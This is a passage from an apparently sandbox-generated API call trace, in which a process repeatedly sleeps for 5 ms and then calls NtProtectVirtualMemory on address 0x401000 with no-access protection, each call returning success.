0x0 [0263.915] Sleep (dwMilliseconds=0x5) [0263.963] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0263.964] Sleep (dwMilliseconds=0x5) [0264.028] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0264.029] Sleep (dwMilliseconds=0x5) [0264.085] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0264.086] Sleep (dwMilliseconds=0x5) [0264.134] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0264.135] Sleep (dwMilliseconds=0x5) [0264.178] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0264.179] Sleep (dwMilliseconds=0x5) [0264.260] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0264.261] Sleep (dwMilliseconds=0x5) [0264.307] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0264.308] Sleep (dwMilliseconds=0x5) [0264.354] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0264.355] Sleep (dwMilliseconds=0x5) [0264.402] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0264.402] Sleep (dwMilliseconds=0x5) [0264.450] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0264.451] Sleep (dwMilliseconds=0x5) [0264.499] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0264.499] Sleep (dwMilliseconds=0x5) [0264.540] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0264.541] Sleep (dwMilliseconds=0x5) [0264.627] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0264.628] Sleep (dwMilliseconds=0x5) [0264.675] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0264.676] Sleep (dwMilliseconds=0x5) [0264.724] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0264.724] Sleep (dwMilliseconds=0x5) [0264.774] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0264.774] Sleep (dwMilliseconds=0x5) [0264.818] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0264.818] Sleep (dwMilliseconds=0x5) [0264.863] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0264.864] Sleep (dwMilliseconds=0x5) [0264.912] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0264.913] Sleep (dwMilliseconds=0x5) [0264.964] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0264.965] Sleep (dwMilliseconds=0x5) [0265.027] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.027] Sleep (dwMilliseconds=0x5) [0265.070] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.071] Sleep (dwMilliseconds=0x5) [0265.115] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.116] Sleep (dwMilliseconds=0x5) [0265.171] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.172] Sleep (dwMilliseconds=0x5) [0265.239] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.240] Sleep (dwMilliseconds=0x5) [0265.311] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.312] Sleep (dwMilliseconds=0x5) [0265.366] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.367] Sleep (dwMilliseconds=0x5) [0265.415] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.416] Sleep (dwMilliseconds=0x5) [0265.457] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.458] Sleep (dwMilliseconds=0x5) [0265.508] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.509] Sleep (dwMilliseconds=0x5) [0265.556] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.557] Sleep (dwMilliseconds=0x5) [0265.600] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.601] Sleep (dwMilliseconds=0x5) [0265.645] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.645] Sleep (dwMilliseconds=0x5) [0265.690] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.691] Sleep (dwMilliseconds=0x5) [0265.738] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.738] Sleep (dwMilliseconds=0x5) [0265.785] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.786] Sleep (dwMilliseconds=0x5) [0265.834] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.835] Sleep (dwMilliseconds=0x5) [0265.878] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.879] Sleep (dwMilliseconds=0x5) [0265.927] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.928] Sleep (dwMilliseconds=0x5) [0265.975] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.976] Sleep (dwMilliseconds=0x5) [0266.116] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.117] Sleep (dwMilliseconds=0x5) [0266.160] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.161] Sleep (dwMilliseconds=0x5) [0266.210] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.211] Sleep (dwMilliseconds=0x5) [0266.257] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.258] Sleep (dwMilliseconds=0x5) [0266.303] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.303] Sleep (dwMilliseconds=0x5) [0266.350] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.351] Sleep (dwMilliseconds=0x5) [0266.393] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.394] Sleep (dwMilliseconds=0x5) [0266.444] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.445] Sleep (dwMilliseconds=0x5) [0266.511] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.511] Sleep (dwMilliseconds=0x5) [0266.583] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.584] Sleep (dwMilliseconds=0x5) [0266.631] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.632] Sleep (dwMilliseconds=0x5) [0266.699] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.700] Sleep (dwMilliseconds=0x5) [0266.741] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.741] Sleep (dwMilliseconds=0x5) [0266.784] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.785] Sleep (dwMilliseconds=0x5) [0266.832] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.832] Sleep (dwMilliseconds=0x5) [0266.880] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.881] Sleep (dwMilliseconds=0x5) [0266.929] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.930] Sleep (dwMilliseconds=0x5) [0266.972] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.972] Sleep (dwMilliseconds=0x5) [0267.021] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0267.021] Sleep (dwMilliseconds=0x5) [0267.069] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0267.070] Sleep (dwMilliseconds=0x5) [0267.131] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0267.132] Sleep (dwMilliseconds=0x5) [0267.201] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0267.202] Sleep (dwMilliseconds=0x5) [0267.367] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0267.368] Sleep (dwMilliseconds=0x5) [0267.414] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0267.414] Sleep (dwMilliseconds=0x5) [0267.459] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0267.460] Sleep (dwMilliseconds=0x5) [0267.508] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0267.509] Sleep (dwMilliseconds=0x5) [0267.552] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0267.552] Sleep (dwMilliseconds=0x5) [0267.599] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0267.600] Sleep (dwMilliseconds=0x5) [0267.648] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0267.648] Sleep (dwMilliseconds=0x5) [0267.696] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0267.697] Sleep (dwMilliseconds=0x5) [0267.772] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0267.773] Sleep (dwMilliseconds=0x5) [0267.815] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0267.816] Sleep (dwMilliseconds=0x5) [0267.863] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0267.863] Sleep (dwMilliseconds=0x5) [0267.909] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0267.910] Sleep (dwMilliseconds=0x5) [0267.957] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 